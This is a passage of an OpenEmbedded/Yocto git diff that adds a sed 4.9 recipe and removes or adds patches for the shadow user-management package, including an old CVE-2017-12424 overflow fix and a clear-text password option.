-}
-
-do_install_ptest() {
- oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
-}
-
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
diff --git a/meta/recipes-extended/sed/sed_4.9.bb b/meta/recipes-extended/sed/sed_4.9.bb
new file mode 100644
index 0000000000..c4d89c34b2
--- /dev/null
+++ b/meta/recipes-extended/sed/sed_4.9.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Stream EDitor (text filtering utility)"
+HOMEPAGE = "http://www.gnu.org/software/sed/"
+DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://sed/sed.h;beginline=1;endline=15;md5=4e8e0f77bc4c1c2c02c2b90d3d24c670 \
+ "
+SECTION = "console/utils"
+
+SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
+ file://run-ptest \
+"
+
+SRC_URI[sha256sum] = "6e226b732e1cd739464ad6862bd1a1aba42d7982922da7a53519631d24975181"
+
+inherit autotools texinfo update-alternatives gettext ptest
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
+
+EXTRA_OECONF = "--disable-acl \
+ "
+
+do_install () {
+ autotools_do_install
+ install -d ${D}${base_bindir}
+ if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
+ mv ${D}${bindir}/sed ${D}${base_bindir}/sed
+ rmdir ${D}${bindir}/
+ fi
+}
+
+ALTERNATIVE:${PN} = "sed"
+ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
+ALTERNATIVE_PRIORITY = "100"
+
+do_compile_ptest() {
+ oe_runmake testsuite/get-mb-cur-max testsuite/test-mbrtowc
+}
+
+do_install_ptest() {
+ cp -rf ${S}/testsuite/ ${D}${PTEST_PATH}
+ cp -rf ${B}/testsuite/* ${D}${PTEST_PATH}/testsuite/
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}/
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${S}/init.cfg ${D}${PTEST_PATH}
+
+ sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i ${D}${PTEST_PATH}/Makefile
+ for i in `grep -rl "sed/sed" ${D}${PTEST_PATH}`; do sed -e 's/..\/sed\/sed/sed/' -i $i; done
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:abs_top_builddir =.*:abs_top_builddir = ..:g' \
+ -e 's:abs_top_srcdir =.*:abs_top_srcdir = ..:g' \
+ -e 's:abs_srcdir =.*:abs_srcdir = ..:g' \
+ -e 's:top_srcdir =.*:top_srcdir = ..:g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+}
+
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
deleted file mode 100644
index a6f604b652..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From 8cf3454d567f77233023be49a39a33e9f0836f89 Mon Sep 17 00:00:00 2001
-From: Scott Garman <scott.a.garman@intel.com>
-Date: Thu, 14 Apr 2016 12:28:57 +0200
-Subject: [PATCH] Disable use of syslog for sysroot
-
-Disable use of syslog to prevent sysroot user and group additions from
-writing entries to the host's syslog. This patch should only be used
-with the shadow-native recipe.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
----
- src/groupadd.c | 3 +++
- src/groupdel.c | 3 +++
- src/groupmems.c | 3 +++
- src/groupmod.c | 3 +++
- src/useradd.c | 3 +++
- src/userdel.c | 3 +++
- src/usermod.c | 3 +++
- 7 files changed, 21 insertions(+)
-
-diff --git a/src/groupadd.c b/src/groupadd.c
-index 39b4ec0..f716f57 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/groupdel.c b/src/groupdel.c
-index da99347..46a679c 100644
---- a/src/groupdel.c
-+++ b/src/groupdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <grp.h>
-diff --git a/src/groupmems.c b/src/groupmems.c
-index e4f107f..95cb073 100644
---- a/src/groupmems.c
-+++ b/src/groupmems.c
-@@ -32,6 +32,9 @@
-
- #include <config.h>
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <fcntl.h>
- #include <getopt.h>
- #include <grp.h>
-diff --git a/src/groupmod.c b/src/groupmod.c
-index d9d3807..6229737 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/useradd.c b/src/useradd.c
-index e1ebf50..25679d8 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
-diff --git a/src/userdel.c b/src/userdel.c
-index 19b12bc..a083929 100644
---- a/src/userdel.c
-+++ b/src/userdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <errno.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/usermod.c b/src/usermod.c
-index 685b50a..28e5cfc 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <errno.h>
- #include <fcntl.h>
---
-2.1.0
-
diff --git a/meta/recipes-extended/shadow/files/0001-Do-not-read-login.defs-before-doing-chroot.patch b/meta/recipes-extended/shadow/files/0001-Do-not-read-login.defs-before-doing-chroot.patch
deleted file mode 100644
index 828b95a572..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Do-not-read-login.defs-before-doing-chroot.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 170c25c8e0b5c3dc2615d1db94c8d24a13ff99bf Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Thu, 11 Sep 2014 15:11:23 +0200
-Subject: [PATCH] Do not read login.defs before doing chroot()
-
-If "useradd --root <root> ..." was used, the login.defs file would still
-be read from /etc/login.defs instead of <root>/etc/login.defs. This was
-due to getdef_ulong() being called before process_root_flag().
-
-Upstream-Status: Submitted [http://lists.alioth.debian.org/pipermail/pkg-shadow-devel/2014-September/010446.html]
-
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
----
- src/useradd.c | 8 ++++++--
- 1 file changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/src/useradd.c b/src/useradd.c
-index a8a1f76..e1ebf50 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -1993,9 +1993,11 @@ int main (int argc, char **argv)
- #endif /* USE_PAM */
- #endif /* ACCT_TOOLS_SETUID */
-
-+#ifdef ENABLE_SUBIDS
- /* Needed for userns check */
-- uid_t uid_min = (uid_t) getdef_ulong ("UID_MIN", 1000UL);
-- uid_t uid_max = (uid_t) getdef_ulong ("UID_MAX", 60000UL);
-+ uid_t uid_min;
-+ uid_t uid_max;
-+#endif
-
- /*
- * Get my name so that I can use it to report errors.
-@@ -2026,6 +2028,8 @@ int main (int argc, char **argv)
- is_shadow_grp = sgr_file_present ();
- #endif
- #ifdef ENABLE_SUBIDS
-+ uid_min = (uid_t) getdef_ulong ("UID_MIN", 1000UL);
-+ uid_max = (uid_t) getdef_ulong ("UID_MAX", 60000UL);
- is_sub_uid = sub_uid_file_present () && !rflg &&
- (!user_id || (user_id <= uid_max && user_id >= uid_min));
- is_sub_gid = sub_gid_file_present () && !rflg &&
---
-1.9.0
-
diff --git a/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
new file mode 100644
index 0000000000..2e5503bfd4
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
@@ -0,0 +1,37 @@
+From af4b8cb780587aa736692a3baa76b60474f19c5d Mon Sep 17 00:00:00 2001
+From: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+Date: Mon, 18 Mar 2024 12:14:21 +0100
+Subject: [PATCH] lib/copydir:copy_entry(): use temporary stat buffer
+
+There are no guarantees that fstatat() does not clobber the stat
+buffer on errors.
+
+Use a temporary buffer so that the following code sees correct
+attributes of the source entry.
+
+Upstream-Status: Submitted [https://github.com/shadow-maint/shadow/pull/974]
+
+Signed-off-by: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+---
+ lib/copydir.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/lib/copydir.c
++++ b/lib/copydir.c
+@@ -400,6 +400,7 @@ static int copy_entry (const struct path
+ {
+ int err = 0;
+ struct stat sb;
++ struct stat tmp_sb;
+ struct link_name *lp;
+ struct timespec mt[2];
+
+@@ -423,7 +424,7 @@ static int copy_entry (const struct path
+ * If the destination already exists do nothing.
+ * This is after the copy_dir above to still iterate into subdirectories.
+ */
+- if (fstatat(dst->dirfd, dst->name, &sb, AT_SYMLINK_NOFOLLOW) != -1) {
++ if (fstatat(dst->dirfd, dst->name, &tmp_sb, AT_SYMLINK_NOFOLLOW) != -1) {
+ return err;
+ }
+
diff --git a/meta/recipes-extended/shadow/files/0001-shadow-CVE-2017-12424 b/meta/recipes-extended/shadow/files/0001-shadow-CVE-2017-12424
deleted file mode 100644
index 4d3e1e016c..0000000000
--- a/meta/recipes-extended/shadow/files/0001-shadow-CVE-2017-12424
+++ /dev/null
@@ -1,46 +0,0 @@
-From 954e3d2e7113e9ac06632aee3c69b8d818cc8952 Mon Sep 17 00:00:00 2001
-From: Tomas Mraz <tmraz@fedoraproject.org>
-Date: Fri, 31 Mar 2017 16:25:06 +0200
-Subject: [PATCH] Fix buffer overflow if NULL line is present in db.
-
-If ptr->line == NULL for an entry, the first cycle will exit,
-but the second one will happily write past entries buffer.
-We actually do not want to exit the first cycle prematurely
-on ptr->line == NULL.
-Signed-off-by: Tomas Mraz <tmraz@fedoraproject.org>
-
-CVE: CVE-2017-12424
-Upstream-Status: Backport
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- lib/commonio.c | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/lib/commonio.c b/lib/commonio.c
-index b10da06..31edbaa 100644
---- a/lib/commonio.c
-+++ b/lib/commonio.c
-@@ -751,16 +751,16 @@ commonio_sort (struct commonio_db *db, int (*cmp) (const void *, const void *))
- for (ptr = db->head;
- (NULL != ptr)
- #if KEEP_NIS_AT_END
-- && (NULL != ptr->line)
-- && ( ('+' != ptr->line[0])
-- && ('-' != ptr->line[0]))
-+ && ((NULL == ptr->line)
-+ || (('+' != ptr->line[0])
-+ && ('-' != ptr->line[0])))
- #endif
- ;
- ptr = ptr->next) {
- n++;
- }
- #if KEEP_NIS_AT_END
-- if ((NULL != ptr) && (NULL != ptr->line)) {
-+ if (NULL != ptr) {
- nis = ptr;
- }
- #endif
---
-2.1.0
-
diff --git a/meta/recipes-extended/shadow/files/0001-useradd-copy-extended-attributes-of-home.patch b/meta/recipes-extended/shadow/files/0001-useradd-copy-extended-attributes-of-home.patch
deleted file mode 100644
index 60a46e1257..0000000000
--- a/meta/recipes-extended/shadow/files/0001-useradd-copy-extended-attributes-of-home.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From acec93540eba6899661c607408498ac72ab07a47 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Jos=C3=A9=20Bollo?= <jose.bollo@iot.bzh>
-Date: Tue, 7 Mar 2017 16:03:03 +0100
-Subject: [PATCH] useradd: copy extended attributes of home
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-The Home directory wasn't getting the extended attributes
-of /etc/skel. This patch fixes that issue and adds the copy
-of the extended attributes of the root of the home directory.
-
-Upstream-Status: Submitted [http://lists.alioth.debian.org/pipermail/pkg-shadow-commits/2017-March/003804.html]
-
-Change-Id: Icd633f7c6c494efd2a30cb8f04c306f749ad0c3b
-Signed-off-by: José Bollo <jose.bollo@iot.bzh>
----
- src/useradd.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/src/useradd.c b/src/useradd.c
-index a8a1f76..8aefb9c 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -52,6 +52,9 @@
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <time.h>
-+#ifdef WITH_ATTR
-+#include <attr/libattr.h>
-+#endif
- #include "chkname.h"
- #include "defines.h"
- #include "faillog.h"
-@@ -1915,6 +1918,9 @@ static void create_home (void)
- chown (user_home, user_id, user_gid);
- chmod (user_home,
- 0777 & ~getdef_num ("UMASK", GETDEF_DEFAULT_UMASK));
-+#ifdef WITH_ATTR
-+ attr_copy_file (def_template, user_home, NULL, NULL);
-+#endif
- home_added = true;
- #ifdef WITH_AUDIT
- audit_logger (AUDIT_ADD_USER, Prog,
---
-2.9.3
-
diff --git a/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch b/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch
deleted file mode 100644
index 2f084b4e9b..0000000000
--- a/meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-Upstream-Status: Inappropriate [OE specific]
-
-Subject: useradd.c: create parent directories when necessary
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/useradd.c | 72 +++++++++++++++++++++++++++++++++++++++------------------
- 1 file changed, 49 insertions(+), 23 deletions(-)
-
-diff --git a/src/useradd.c b/src/useradd.c
-index 4bd969d..cb5dd6c 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -1896,6 +1896,35 @@ static void usr_update (void)
- }
-
- /*
-+ * mkdir_p - create directories, including parent directories when needed
-+ *
-+ * similar to `mkdir -p'
-+ */
-+void mkdir_p(const char *path) {
-+ int len = strlen(path);
-+ char newdir[len + 1];
-+ mode_t mode = 0755;
-+ int i = 0;
-+
-+ if (path[i] == '\0') {
-+ return;
-+ }
-+
-+ /* skip the leading '/' */
-+ i++;
-+
-+ while(path[i] != '\0') {
-+ if (path[i] == '/') {
-+ strncpy(newdir, path, i);
-+ newdir[i] = '\0';
-+ mkdir(newdir, mode);
-+ }
-+ i++;
-+ }
-+ mkdir(path, mode);
-+}
-+
-+/*
- * create_home - create the user's home directory
- *
- * create_home() creates the user's home directory if it does not
-@@ -1910,39 +1939,36 @@ static void create_home (void)
- fail_exit (E_HOMEDIR);
- }
- #endif
-- /* XXX - create missing parent directories. --marekm */
-- if (mkdir (user_home, 0) != 0) {
-- fprintf (stderr,
-- _("%s: cannot create directory %s\n"),
-- Prog, user_home);
--#ifdef WITH_AUDIT
-- audit_logger (AUDIT_ADD_USER, Prog,
-- "adding home directory",
-- user_name, (unsigned int) user_id,
-- SHADOW_AUDIT_FAILURE);
--#endif
-- fail_exit (E_HOMEDIR);
-- }
-- chown (user_home, user_id, user_gid);
-- chmod (user_home,
-- 0777 & ~getdef_num ("UMASK", GETDEF_DEFAULT_UMASK));
--#ifdef WITH_ATTR
-- attr_copy_file (def_template, user_home, NULL, NULL);
--#endif
-- home_added = true;
-+ mkdir_p(user_home);
-+ }
-+ if (access (user_home, F_OK) != 0) {
- #ifdef WITH_AUDIT
- audit_logger (AUDIT_ADD_USER, Prog,
- "adding home directory",
- user_name, (unsigned int) user_id,
-- SHADOW_AUDIT_SUCCESS);
-+ SHADOW_AUDIT_FAILURE);
- #endif
--#ifdef WITH_SELINUX
-- /* Reset SELinux to create files with default contexts */
-- if (reset_selinux_file_context () != 0) {
-- fail_exit (E_HOMEDIR);
-- }
-+ fail_exit (E_HOMEDIR);
-+ }
-+ chown (user_home, user_id, user_gid);
-+ chmod (user_home,
-+ 0777 & ~getdef_num ("UMASK", GETDEF_DEFAULT_UMASK));
-+#ifdef WITH_ATTR
-+ attr_copy_file (def_template, user_home, NULL, NULL);
-+#endif
-+ home_added = true;
-+#ifdef WITH_AUDIT
-+ audit_logger (AUDIT_ADD_USER, Prog,
-+ "adding home directory",
-+ user_name, (unsigned int) user_id,
-+ SHADOW_AUDIT_SUCCESS);
- #endif
-+#ifdef WITH_SELINUX
-+ /* Reset SELinux to create files with default contexts */
-+ if (reset_selinux_file_context () != 0) {
-+ fail_exit (E_HOMEDIR);
- }
-+#endif
- }
-
- /*
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index 615c6e002d..0000000000
--- a/meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,201 +0,0 @@
-Upstream-Status: Inappropriate [OE specific]
-
-Allow for setting password in clear text.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/Makefile.am | 8 ++++----
- src/groupadd.c | 8 +++++++-
- src/groupmod.c | 8 +++++++-
- src/useradd.c | 9 +++++++--
- src/usermod.c | 8 +++++++-
- 5 files changed, 32 insertions(+), 9 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 25e288d..856b087 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -88,10 +88,10 @@ chgpasswd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBSELINUX) $(LIBCRYPT)
- chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD)
- chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX) $(LIBCRYPT)
- gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
--groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
-+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
- groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
- groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBSELINUX)
--groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX)
-+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT)
- grpck_LDADD = $(LDADD) $(LIBSELINUX)
- grpconv_LDADD = $(LDADD) $(LIBSELINUX)
- grpunconv_LDADD = $(LDADD) $(LIBSELINUX)
-@@ -111,9 +111,9 @@ su_SOURCES = \
- suauth.c
- su_LDADD = $(LDADD) $(LIBPAM) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD)
- sulogin_LDADD = $(LDADD) $(LIBCRYPT)
--useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR)
-+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBCRYPT)
- userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE)
--usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR)
-+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBCRYPT)
- vipw_LDADD = $(LDADD) $(LIBSELINUX)
-
- install-am: all-am
-diff --git a/src/groupadd.c b/src/groupadd.c
-index f716f57..4e28c26 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -124,6 +124,7 @@ static /*@noreturn@*/void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
- " (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
- (void) fputs ("\n", usageout);
-@@ -387,12 +388,13 @@ static void process_flags (int argc, char **argv)
- {"key", required_argument, NULL, 'K'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
- {NULL, 0, NULL, '\0'}
- };
-
-- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:",
-+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'f':
-@@ -444,6 +446,10 @@ static void process_flags (int argc, char **argv)
- pflg = true;
- group_passwd = optarg;
- break;
-+ case 'P':
-+ pflg = true;
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
-diff --git a/src/groupmod.c b/src/groupmod.c
-index d9d3807..68f49d1 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -127,6 +127,7 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
- " PASSWORD\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
-@@ -375,10 +376,11 @@ static void process_flags (int argc, char **argv)
- {"new-name", required_argument, NULL, 'n'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
- {NULL, 0, NULL, '\0'}
- };
-- while ((c = getopt_long (argc, argv, "g:hn:op:R:",
-+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'g':
-@@ -405,6 +407,10 @@ static void process_flags (int argc, char **argv)
- group_passwd = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
- default:
-diff --git a/src/useradd.c b/src/useradd.c
-index b3bd451..4416f90 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -776,6 +776,7 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
- " (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
-@@ -1050,6 +1051,7 @@ static void process_flags (int argc, char **argv)
- {"no-user-group", no_argument, NULL, 'N'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
- {"shell", required_argument, NULL, 's'},
-@@ -1062,9 +1064,9 @@ static void process_flags (int argc, char **argv)
- };
- while ((c = getopt_long (argc, argv,
- #ifdef WITH_SELINUX
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:s:u:UZ:",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:s:u:UZ:",
- #else /* !WITH_SELINUX */
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:s:u:U",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:s:u:U",
- #endif /* !WITH_SELINUX */
- long_options, NULL)) != -1) {
- switch (c) {
-@@ -1230,6 +1232,9 @@ static void process_flags (int argc, char **argv)
- }
- user_pass = optarg;
- break;
-+ case 'P': /* set clear text password */
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
-diff --git a/src/usermod.c b/src/usermod.c
-index e7d4351..b79f7a3 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -419,6 +419,7 @@ static /*@noreturn@*/void usage (int status)
- " new location (use only with -d)\n"), usageout);
- (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
- (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
-@@ -996,6 +997,7 @@ static void process_flags (int argc, char **argv)
- {"move-home", no_argument, NULL, 'm'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
-@@ -1012,7 +1014,7 @@ static void process_flags (int argc, char **argv)
- {NULL, 0, NULL, '\0'}
- };
- while ((c = getopt_long (argc, argv,
-- "ac:d:e:f:g:G:hl:Lmop:R:s:u:U"
-+ "ac:d:e:f:g:G:hl:Lmop:P:R:s:u:U"
- #ifdef ENABLE_SUBIDS
- "v:w:V:W:"
- #endif /* ENABLE_SUBIDS */
-@@ -1112,6 +1114,10 @@ static void process_flags (int argc, char **argv)
- user_pass = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
- case 's':
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/files/check_size_of_uid_t_and_gid_t_using_AC_CHECK_SIZEOF.patch b/meta/recipes-extended/shadow/files/check_size_of_uid_t_and_gid_t_using_AC_CHECK_SIZEOF.patch
deleted file mode 100644
index 185590cabd..0000000000
--- a/meta/recipes-extended/shadow/files/check_size_of_uid_t_and_gid_t_using_AC_CHECK_SIZEOF.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 2cb54158b80cdbd97ca3b36df83f9255e923ae3f Mon Sep 17 00:00:00 2001
-From: James Le Cuirot <chewi@aura-online.co.uk>
-Date: Sat, 23 Aug 2014 09:46:39 +0100
-Subject: [PATCH] Check size of uid_t and gid_t using AC_CHECK_SIZEOF
-
-This built-in check is simpler than the previous method and, most
-importantly, works when cross-compiling.
-
-Upstream-Status: Accepted
-[https://github.com/shadow-maint/shadow/commit/2cb54158b80cdbd97ca3b36df83f9255e923ae3f]
-
-Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>
----
- configure.in | 14 ++++----------
- 1 file changed, 4 insertions(+), 10 deletions(-)
-
-diff --git a/configure.in b/configure.in
-index 1a3f841..4a4d6d0 100644
---- a/configure.in
-+++ b/configure.in
